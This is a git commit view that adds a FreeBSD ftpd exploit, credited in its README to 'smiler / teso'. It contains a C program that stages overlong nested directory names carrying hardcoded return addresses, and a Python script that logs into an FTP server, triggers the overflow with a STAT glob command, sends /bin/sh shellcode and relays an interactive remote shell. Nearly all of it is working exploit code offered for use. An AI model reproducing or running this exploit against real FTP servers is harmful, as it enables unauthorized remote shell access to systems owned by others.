summaryrefslogtreecommitdiff
path: root/exploits/ftpd_exp
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/ftpd_exp
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/ftpd_exp')
-rw-r--r--exploits/ftpd_exp/README5
-rw-r--r--exploits/ftpd_exp/exp.c25
-rw-r--r--exploits/ftpd_exp/exp.py26
3 files changed, 56 insertions, 0 deletions
diff --git a/exploits/ftpd_exp/README b/exploits/ftpd_exp/README
new file mode 100644
index 0000000..6a42370
--- /dev/null
+++ b/exploits/ftpd_exp/README
@@ -0,0 +1,5 @@
1Preliminary FreeBSD ftpd exploit by smiler / teso. Plz dont distribute outside
2teso. I'm sure there are better ways to do this...
3
4compile and run 'exp.c' on your homedir, and then run 'python exp.py' having
5altered it for your username and password. Offsets may need tweaking...
diff --git a/exploits/ftpd_exp/exp.c b/exploits/ftpd_exp/exp.c
new file mode 100644
index 0000000..5f80d44
--- /dev/null
+++ b/exploits/ftpd_exp/exp.c
@@ -0,0 +1,25 @@
1#include <stdio.h>
2#include <unistd.h>
3
4int
5main (int argc, char **argv)
6{
7 char buf[512];
8
9 memset (buf, 'a', 255);
10 buf[255] = '\0';
11 if (mkdir (buf, 0700) < 0) {
12 perror ("mkdir");
13 return (-1);
14 }
15 chdir (buf);
16 mkdir (buf, 0700);
17 chdir (buf);
18 mkdir (buf, 0700);
19 chdir (buf);
20 *(unsigned int *)(buf + 156) = 0xbfbffa2d;
21 *(unsigned int *)(buf + 160) = 0xbfbff361;
22 *(unsigned int *)(buf + 164) = 0xbfbff361;
23 mkdir (buf, 0700);
24
25}
diff --git a/exploits/ftpd_exp/exp.py b/exploits/ftpd_exp/exp.py
new file mode 100644
index 0000000..86ec3cc
--- /dev/null
+++ b/exploits/ftpd_exp/exp.py
@@ -0,0 +1,26 @@
1#!/usr/bin/env python
2from ftplib import *
3import os,time,struct,sys
4from select import select
5
6shellcode = '\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xc0\x50\x50\x50\xb0\x7f\xcd\x80\xeb\x17\x31\xc0\x5b\x50\x88\x43\x07\x8d\x4b\x08\x89\x5b\x08\x89\x43\x0c\x51\x53\x50\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh\x0a'
7
8ftp = FTP()
9ftp.connect('192.168.1.2',21)
10ftp.login('username','password')
11
12time.sleep(6)
13print 'sending stat command'
14ftp.putcmd('STAT a*/*/*/*/')
15print 'sending shellcode'
16ftp.sock.send(shellcode)
17time.sleep(2)
18while 1:
19 heh = select([sys.stdin,ftp.sock],[],[])
20 for i in heh[0]:
21 if i == sys.stdin:
22 buf = sys.stdin.readline()
23 ftp.sock.send(buf)
24 if i == ftp.sock:
25 buf = ftp.sock.recv(1024)
26 sys.stdout.write(buf)